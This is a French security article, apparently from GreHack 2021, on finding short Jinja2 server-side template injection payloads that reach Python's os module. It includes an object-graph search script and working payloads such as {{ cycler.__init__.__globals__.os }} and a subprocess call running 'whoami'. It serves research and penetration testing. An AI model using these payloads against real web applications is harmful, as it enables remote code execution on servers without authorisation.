GreHack 2021 - Optimizing Server Side Template Injections payloads for jinja2

Table des matières :

Introduction

Lors de l’attaque d’applications web basées sur Python, nous avons souvent besoin de trouver un moyen d’exécuter des commandes sur le serveur et de sortir du contexte de l’application. Pour accéder au backend Python sous-jacent d’une application web, un attaquant peut exploiter des vulnérabilités courantes telles que l’Injection de Template Côté Serveur (SSTI) ou les Injections de Code (CI), mais comment pouvons-nous sortir de ce contexte ? Dans cet article, je présente une approche générale pour résoudre ce problème en explorant les modules Python et les objets Python afin de trouver des chemins vers des cibles à haute valeur, comme le module os ou les fonctions intégrées. J’utiliserai ensuite cette technique pour créer les payloads les plus courts permettant d’accéder au module os dans le moteur de template jinja2 de Python.

Injections de Template Côté Serveur

Les vulnérabilités d’Injection de Template Côté Serveur (SSTI) peuvent survenir lorsqu’un attaquant peut modifier le code du template avant qu’il ne soit rendu par le moteur de template. Cela peut se produire de nombreuses façons : en mélangeant les chaînes de format et les templates, en obtenant un accès en écriture aux fichiers de template, via une vulnérabilité de téléchargement de fichiers…

Lorsqu’un attaquant découvre une Injection de Template Côté Serveur, il va tenter d’injecter du code template pour exploiter le moteur de template afin d’accéder à la machine sous-jacente et obtenir une Exécution de Code à Distance (RCE).

Trouver un chemin entre deux modules

Tout d’abord, voyons à quoi ressemble un chemin d’un module à un autre. Avec un peu de recherche, d’analyse de code et de tests, nous pouvons trouver manuellement un chemin vers le module os depuis le module jinja2. C’est très long car nous devons souvent lire le code source du module pour avancer. Nous pouvons tester ce chemin et voir que nous pouvons accéder au module os depuis le module jinja2 :

>>> import jinja2
>>> jinja2.bccache.tempfile._os
<module 'os' from '/usr/lib/python3.8/os.py'>
>>>

Fonctionnement interne de Python

En Python, la plupart des variables sont en réalité des objets. Les classes et objets Python possèdent des fonctions internes très intéressantes, dont les noms commencent par deux tirets bas __. Certaines de ces fonctions internes sont appelées lorsque l’objet est converti vers un type ('__bool__', '__float__', '__repr__', '__dict__' ...) et d’autres sont utilisées dans les comparaisons ('__eq__', '__ge__', '__gt__', '__le__', '__lt__','__ne__', '__neg__', ...). Nous pouvons lister tous les attributs (fonctions, fonctions internes, variables) d’un objet Python grâce à la fonction dir(). Voici un exemple des attributs d’un objet int :

>>> dir(int(0))
['__abs__', '__add__', '__and__', '__bool__', '__ceil__', '__class__', '__delattr__', '__dir__', '__divmod__', '__doc__', '__eq__', '__float__', '__floor__', '__floordiv__', '__format__', '__ge__', '__getattribute__', '__getnewargs__', '__gt__', '__hash__', '__index__', '__init__', '__init_subclass__', '__int__', '__invert__', '__le__', '__lshift__', '__lt__', '__mod__', '__mul__', '__ne__', '__neg__', '__new__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__round__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__', 'as_integer_ratio', 'bit_length', 'conjugate', 'denominator', 'from_bytes', 'imag', 'numerator', 'real', 'to_bytes']
>>>

Comme nous pouvons le voir, cet objet possède de nombreux attributs, la plupart étant des fonctions internes. Ces fonctions sont appelées lors de la conversion d’objets, par exemple l’appel de str(int(17)) appellerait la fonction interne __repr__ comme ceci : int(17).__repr__().

>>> str(int(17))
'17'
>>> int(17).__repr__()
'17'
>>>

À partir de ces fonctions et attributs, nous pouvons accéder à d’autres attributs, comme d’autres fonctions, variables ou sous-modules. Voici un exemple de sous-attributs trouvés dans l’objet int(0) précédent :

>>> dir(int(0).__init__)
['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__name__', '__ne__', '__new__', '__objclass__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__']

Toutes ces fonctions peuvent être chaînées pour accéder à un objet à partir d’un autre. C’est le concept de base qu’utilisent la plupart des payloads dans les exploits d’Injection de Template Côté Serveur (SSTI) aujourd’hui, comme celui-ci :

{{ ''.__class__.mro()[1].__subclasses__()[396]('whoami', shell=True, stdout=-1).communicate()[0].strip() }}

Ce type de payloads peut causer divers problèmes car il est fortement dépendant du contexte. En effet, les valeurs des index dans "...__class__.mro()[1].__subclasses__()[396]..." peuvent varier selon la version de jinja2 et les modules utilisés dans l’application.

Nous pouvons trouver manuellement un chemin du module jinja2 vers le module os, mais nous ne pouvons tout simplement pas tester tous les chemins possibles à la main. Alors, quelle est la suite ?

Parcours en largeur des objets Python

Afin de créer un algorithme général pour explorer les objets Python et extraire les cibles à haute valeur pour les exploits, nous devons d’abord définir quelles cibles à haute valeur nous voulons trouver. Nous considérerons les modules et les fonctions intégrées comme des cibles prioritaires, car ils constitueraient la base d’une exploitation réussie. Ces deux éléments sont représentés sous forme de chaînes de caractères par la fonction __repr__ comme suit :

  • Modules : Représentés par des chaînes comme <module 'os' from '/usr/lib/python3.8/os.py'>
  • Fonctions intégrées : Représentées par des chaînes comme <built-in function open>

La première approche de ce problème serait d’écrire une fonction récursive effectuant un parcours en largeur limité à une profondeur maximale. Cette fonction récupérera tous les sous-attributs d’un objet et les explorera également de manière récursive.

def find_path_to_modules(obj, found={}, path=[], depth=0, maxdepth=3):
    if "modules" not in found.keys():
        found["modules"] = {}
    if depth < maxdepth:
        for subkey in dir(obj):
            try:
                try:
                    subobj = eval("obj.%s" % subkey, {'obj':obj})
                except SyntaxError as e:
                    continue
                if str(subobj).startswith("<module '"):
                    modulename = str(subobj).split("<module '")[1].split("'")[0]
                    print("\r[>] Found module '%s' at %s" % (modulename, '.'.join(path+[subkey])))
                    if modulename not in found["modules"].keys():
                        found["modules"][modulename] = []
                    found["modules"][modulename].append(found["modules"][modulename] + ['.'.join(path+[subkey])])
                # Explore further
                foundmodules = find_path_to_modules(subobj, found=found, path=path+[subkey], depth=(depth+1), maxdepth=maxdepth)
            except AttributeError as e:
                pass
    return found

Avec cette première approche du problème, nous avons deux problèmes :

  • Pièges cycliques : Lors de l’exploration d’un sous-attribut d’un objet se référant à lui-même ou à l’un de ses parents, nous tomberons dans une boucle infinie.

  • Temps d’exploration long : Pendant le parcours en largeur, nous rencontrerons beaucoup d’objets, et beaucoup d’entre eux plus d’une fois. Cela entraînera une perte massive de temps lors de l’exploration multiple des mêmes objets.

Prévention des pièges cycliques et optimisation

Afin d’éviter les pièges cycliques, nous devons garder une trace des objets que nous avons déjà explorés. Pour ce faire, nous allons créer une liste contenant l’id de chaque objet exploré. La fonction id renvoie l’adresse de l’objet en mémoire (dans les implémentations CPython), ce qui garantit que les objets sont différents si leur id() diffère.

Algorithme général pour trouver des modules à partir d’un objet Python

L’algorithme général que nous utiliserons est une fonction récursive effectuant un parcours en largeur limité à une profondeur maximale. Cette fonction récupérera tous les sous-attributs d’un objet et les explorera également de manière récursive. À chaque étape, elle stockera l’id() de l’objet pour éviter de tomber dans des pièges cycliques.

def find_path_to_modules(obj, found={}, path=[], knownids=[], depth=0, maxdepth=3, verbose=False):
    if "modules" not in found.keys(): found["modules"] = {}
    if depth < maxdepth:
        for subkey in dir(obj):
            if verbose == True:
                print("\r\x1b[2K%s" % '.'.join(path+[subkey]), end="")
            if type(subkey) in [bool]:
                continue
            try:
                try:
                    subobj = eval("obj.%s" % subkey, {'obj':obj})
                except SyntaxError as e:
                    continue
                if str(subobj).startswith("<module '"):
                    modulename = str(subobj).split("<module '")[1].split("'")[0]
                    print("\r[>] Found module '%s' at %s" % (modulename, '.'.join(path+[subkey])))
                    if modulename not in found["modules"].keys():
                        found["modules"][modulename] = []
                    found["modules"][modulename] = shorten_module_paths(
                        path[0],
                        modulename,
                        found["modules"][modulename] + ['.'.join(path+[subkey])]
                    )
                # Explore further
                if id(subobj) not in knownids:
                    knownids.append(id(subobj))
                    foundmodules = find_path_to_modules(
                        subobj,
                        found=found,
                        path=path+[subkey],
                        depth=(depth+1),
                        maxdepth=maxdepth,
                        verbose=verbose
                    )
            except AttributeError as e:
                pass
    return found

Construction de payloads pour jinja2

L’objet TemplateReference dans jinja2

Dans les templates jinja2, nous pouvons utiliser l’objet TemplateReference pour réutiliser des blocs de code du template. Par exemple, pour éviter de réécrire le titre partout dans le template, nous pouvons définir le titre dans un bloc {% block title %} et le récupérer plus tard avec {{ self.title() }} :

>>> msg = jinja2.Template("""
... <title>{% block title %}This is a title{% endblock %}</title>
... <h1>{{ self.title() }}</h1>
... """).render()
>>> print(msg)
<title>This is a title</title>
<h1>This is a title</h1>
>>>

L’accès à l’objet TemplateReference est indépendant du contexte et ne nécessite aucune condition préalable, hormis d’être dans un Template jinja2. C’est exactement là que nous pourrions injecter du code si nous parvenions à obtenir une Injection de Template Côté Serveur (SSTI) sur une application web. Nous pouvons directement accéder à l’objet TemplateReference via un simple {{ self }} dans un template :

>>> jinja2.Template("My name is {{ self }}").render()
'My name is <TemplateReference None>'
>>>

De l’objet TemplateReference au module os

En utilisant l’algorithme général décrit ci-dessus sur jinja2 comme point de départ de la recherche, nous obtenons des résultats très intéressants pour tous les chemins menant au module os :

{
  "modules": {
    ...
    "os": [
      "jinja2.utils.os",
      "jinja2.bccache.tempfile._os",
      "jinja2.bccache.tempfile._shutil.os",
      "jinja2.bccache.fnmatch.os",
      "jinja2.loaders.os",
      "jinja2.environment.os",
      "jinja2.filters.random._os",
      "jinja2.bccache.os"
    ]
  }
  ...
}

Voici tous les chemins permettant d’atteindre le module os depuis le module jinja2. Maintenant, examinons l’objet TemplateReference pour voir quelles variables nous pouvons utiliser. Nous pouvons remarquer qu’une variable se démarque, le _TemplateReference__context} :

>>> import jinja2
>>> jinja2.Template("My name is {{ f(self) }}").render(f=dir)
"My name is ['_TemplateReference__context', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__']"

Maintenant, si nous affichons cet objet, nous obtenons un dictionnaire contenant de nombreuses valeurs :

>>> import jinja2
>>> jinja2.Template("My name is {{ self._TemplateReference__context }}").render(f=dir)
"My name is <Context {'range': <class 'range'>, 'dict': <class 'dict'>, 'lipsum': <function generate_lorem_ipsum at 0x7f9a1cb0a0d0>, 'cycler': <class 'jinja2.utils.Cycler'>, 'joiner': <class 'jinja2.utils.Joiner'>, 'namespace': <class 'jinja2.utils.Namespace'>, 'f': <built-in function dir>} of None>"

Ce {{ self._TemplateReference__context }} est très intéressant car il nous donne accès aux classes suivantes :

  • jinja2.utils.Cycler
  • jinja2.utils.Joiner
  • jinja2.utils.Namespace

Comme nous l’avons vu précédemment, nous pouvons accéder au module os depuis jinja2 via le chemin jinja2.utils.os. Par conséquent, tout ce dont nous avons besoin pour accéder à os depuis l’objet TemplateReference est d’accéder aux variables globales de l’une des classes Cycler, Joiner ou Namespace.

Pour ce faire, c’est très simple ! Nous devons d’abord accéder au constructeur de la classe :

>>> import jinja2
>>> jinja2.Template("My name is {{ self._TemplateReference__context.cycler.__init__ }}").render()
'My name is <function Cycler.__init__ at 0x7f696dd06700>'

Ensuite, nous accédons aux variables globales du constructeur (correspondant aux variables globales déclarées dans utils.py à l’intérieur de jinja2):

>>> import jinja2

>>> jinja2.Template("My name is {{ self._TemplateReference__context.cycler.__init__.__globals__ }}").render()
'My name is {\'__name__\': \'jinja2.utils\', \'__doc__\': None, \'__package__\': \'jinja2\', ... ... \'os\': <module \'os\' from \'/usr/lib/python3.8/os.py\'>, ... ..., \'Cycler\': <class \'jinja2.utils.Cycler\'>, \'Joiner\': <class \'jinja2.utils.Joiner\'>, \'Namespace\': <class \'jinja2.utils.Namespace\'>, \'_\': <function _ at 0x7f696dd06670>, \'have_async_gen\': True, \'soft_unicode\': <function soft_unicode at 0x7f696dd06ca0>}'

Et enfin, nous pouvons accéder au module os !

>>> import jinja2
>>> jinja2.Template("My name is {{ self._TemplateReference__context.cycler.__init__.__globals__.os }}").render()

Payloads context-free pour l’exécution de code distant dans jinja2

Nous avons maintenant trois payloads context-free qui peuvent être utilisés pour accéder au module os depuis le module jinja2.

{{ self._TemplateReference__context.cycler.__init__.__globals__.os }}

{{ self._TemplateReference__context.joiner.__init__.__globals__.os }}


{{ self._TemplateReference__context.namespace.__init__.__globals__.os }}

Rendons un petit template pour vérifier si cela fonctionne :

>>> import jinja2
>>> jinja2.Template("My name is {{ self._TemplateReference__context.cycler.__init__.__globals__.os }}").render()
"My name is <module 'os' from '/usr/lib/python3.8/os.py'>

Ces payloads nous offrent une nouvelle façon plus rapide d’accéder au module os dans les attaques d’Injection de Template Côté Serveur (SSTI). Cela sera très utile dans les bug bounties et les pentests !

Optimisation finale

Maintenant que nous avons des payloads context-free complètement, nous pouvons ajouter une optimisation finale à eux. Pour construire ces payloads, nous avons exploré l’arbre des objets Python à partir de l’objet TemplateReference déclaré dans les templates jinja2 comme {{ self }}. Cet objet contient toutes les variables déclarées dans le template, nous pouvons donc simplifier nos payloads en supprimant self._TemplateReference__context car nous pouvons y accéder directement depuis le template !

Donc les payloads context-free finalement pour accéder au module os dans les templates jinja2 sont :

{{ cycler.__init__.__globals__.os }}

{{ joiner.__init__.__globals__.os }}

{{ namespace.__init__.__globals__.os }}

Conclusion

Dans les vulnérabilités Server Side Template Injection (SSTI), nous pouvons injecter du code template dans l’application web, qui sera ensuite reflété dans le template et exécuté dans le contexte de l’application. Afin de s’échapper de ce contexte et obtenir une exécution de code à distance sur le serveur, nous devons souvent trouver un moyen d’importer le module Python os.

Pour trouver des moyens génériques d’accéder au module os, nous avons étudié le fonctionnement des objets Python et des fonctions internes afin de concevoir un algorithme capable d’explorer les objets Python à la recherche de modules, sans tomber dans des pièges cycliques. Avec cet algorithme général, nous avons pu construire des payloads context-free qui peuvent être utilisés pour obtenir une exécution de code à distance (RCE) lorsqu’un attaquant dispose d’un SSTI dans jinja2. D’autres payloads peuvent également être créés pour exploiter d’autres moteurs de templates, comme Mako par exemple.